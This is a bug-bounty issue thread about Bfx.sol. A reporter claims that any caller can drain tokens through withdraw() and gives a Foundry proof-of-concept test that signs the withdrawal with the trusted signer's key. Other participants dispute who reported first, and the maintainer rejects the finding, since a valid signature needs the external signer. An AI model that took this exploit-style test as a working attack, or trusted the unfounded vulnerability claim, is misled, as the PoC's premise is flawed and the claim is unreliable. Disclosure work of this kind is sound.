Bfx.sol::Attacker can drain all `paymentToken` from contract

[hats-bug-reporter[bot]]

Github username: @itsabinashb Twitter username: 0xAbinash Submission hash (on-chain): 0x41a9b01289482b0d0f0495957fa264feb619b613f4f94b20d82f11d81fb54728 Severity: high

Description: Description\ The Bfx.sol::withdraw() does not have any check for whether a caller, who wants to withdraw, is a valid caller or not. It does not even check whether the caller is depositor or not. As a result an attacker can call this function with a valid depositId and drain all fund provided if the signer signs the transaction.

Attack Scenario\ We can see that the withdraw() is external function means anybody can call this function. The attack is so simple, we can visualize this like this:

1. user1 came and deposited 50 token to the contract by calling deposit(), suppose his depositId is 37000.

As depositId increases by 1 with every deposit so a valid id is highly predictable.

2. An attacker came & called withdraw() with that depositId.
3. Now if signer signs the transaction then attacker will get all the amount he wants to withdraw.

Attachments

1. Proof of Concept (PoC) File Run this test in test folder:

   
   //SPDX-License-Identifier: MIT
   pragma solidity ^0.8.0;

import '../src/Bfx.sol'; import './DummyToken.sol'; import './utils/SigUtils.sol'; import 'forge-std/Test.sol'; import 'forge-std/console.sol'; import 'openzeppelin/utils/cryptography/EIP712.sol';

contract NewTest is Test, EIP712('', '') { address owner = vm.addr(10); address signer = vm.addr(1); address user = vm.addr(2); address attacker = vm.addr(3); Bfx bfx; DummyToken token; SigUtils sigUtils;

function setUp() public { token = new DummyToken(); bfx = new Bfx(owner, signer, address(token)); deal(address(token), user, 100); vm.prank(user); token.approve(address(bfx), 100);

sigUtils = new SigUtils(address(bfx), 'BfxWithdrawal', '1');

}

function test_another() public { vm.prank(user); bfx.deposit(50);

console.log('contract balance:', token.balanceOf(address(bfx))); // 50
console.log('attacker balance:', token.balanceOf(attacker)); // 0
SigUtils.Withdrawal memory withdrawal = SigUtils.Withdrawal({id: 37000, trader: attacker, amount: 50});

bytes32 digest = sigUtils.getTypedDataHash(withdrawal);

(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, digest);
// console.logBytes32(digest); /// 0x1d99be6dbc7401377819fe7be9a9a87618be1bb12e61572a0fe42c68cdce9dec
// console.logBytes32(r); /// 0x8848a835016b7224ceb02caf4095967a1b6e82d0df36056c1ce78a7b5b7edc9d
// console.logBytes32(s); /// 0x06862fae80fcfe424be091e5aab02a7a26825cb6bb679ffa21b9a9eeb03871d4
// console.log(v); /// 27

vm.prank(attacker);
bfx.withdraw(withdrawal.id, withdrawal.trader, withdrawal.amount, v, r, s);

console.log('contract balance:', token.balanceOf(address(bfx)));
console.log('attacker balance:', token.balanceOf(attacker));

} }

Here first User1 deposited 50 token-

vm.prank(user); bfx.deposit(50);

If we run the test we can see the the contract balance is 50 & attacker's balance is 0.

Now attacker called the `withdraw()` with his address and user1's depositId i.e 37000.
Now  the `digest` i.e messageHash calculation is done inside the `withdraw()`. 
If signer signs the messageHash then all requested amount of token (by attacker) will be sent to attacker's address.
The result of the test:
```solidity
Running 1 test for test/NewTest.t.sol:NewTest
[PASS] test_another() (gas: 121573)
Logs:
  contract balance: 50
  attacker balance: 0
  contract balance: 0
  attacker balance: 50

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.33ms

2. Revised Code File (Optional) Here is the withdraw():

   function withdraw(
       uint256 id, address trader, uint256 amount, uint8 v, bytes32 r, bytes32 s
       ) external nonReentrant {
   //@audit you can see there is no check for caller validity, also no check for whether the `trader` is really a depositor or not
       require(amount > 0, "WRONG_AMOUNT");
       require(processedWithdrawals[id] == false, "ALREADY_PROCESSED");
       processedWithdrawals[id] = true;
       bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
           keccak256("withdrawal(uint256 id,address trader,uint256 amount)"),
           id,
           trader,
           amount
       )));
   
       bool valid = verify(digest, v, r, s);
       require(valid, "INVALID_SIGNATURE");
   
       emit WithdrawalReceipt(id, trader, amount);
       bool success = makeTransfer(trader, amount);
       require(success, "TRANSFER_FAILED");
   }

   Put a check that restricts all caller except the trader to call this function. Also put a check to see whether the trader is depositor or not. While depositing the depositor's address can be added to a mapping.

[0xsnowbear]

It's a duplicate of my submission #61.

[itsabinashb]

It's a duplicate of my submission #61.

You did not provide any reason why this bug happened, where the bug is, how we can mitigate this. The issue is the same but this report is more detailed and perfectly points out how everything works.

[0xsnowbear]

It's a duplicate of my submission #61.

You did not provide any reason why this bug happened, where the bug is, how we can mitigate this. The issue is the same but this report is more detailed and perfectly points out how everything works.

• Okay, thanks for "your admission" that this issue is the "same". And btw, you just submitted a few hours after I submitted mine which made me doubt about your intentions (but never mind).
• There are multiple ways to mitigate, but I want to focus my report on pointing out the "vulnerability and attack" because that is the "number one" priority.
• Let's end it here, let's give the decision to the judge.

[itsabinashb]

It's a duplicate of my submission #61.

You did not provide any reason why this bug happened, where the bug is, how we can mitigate this. The issue is the same but this report is more detailed and perfectly points out how everything works.

• Okay, thanks for "your admission" that this issue is the "same". And btw, you just submitted a few hours after I submitted mine which made me doubt about your intentions (but never mind).
• There are multiple ways to mitigate, but I want to focus my report on pointing out the "vulnerability and attack" because that is the "number one" priority.
• Let's end it here, let's give the decision to the judge.

Actually brother I saved it 1 day ago, I was not aware about the rules of hatsfinance that only first submission will be accepted so i thought I will submit after finding some more issue, but yesterday I got to know that so submitted. No issue, let see what happened.

[alex-sumner]

This is not a bug. The withdrawal will only succeed if the signature comes from the external_signer set on the contract (see the function verify in EIP712Verifier.sol). The attacker has no way of obtaining such a signature.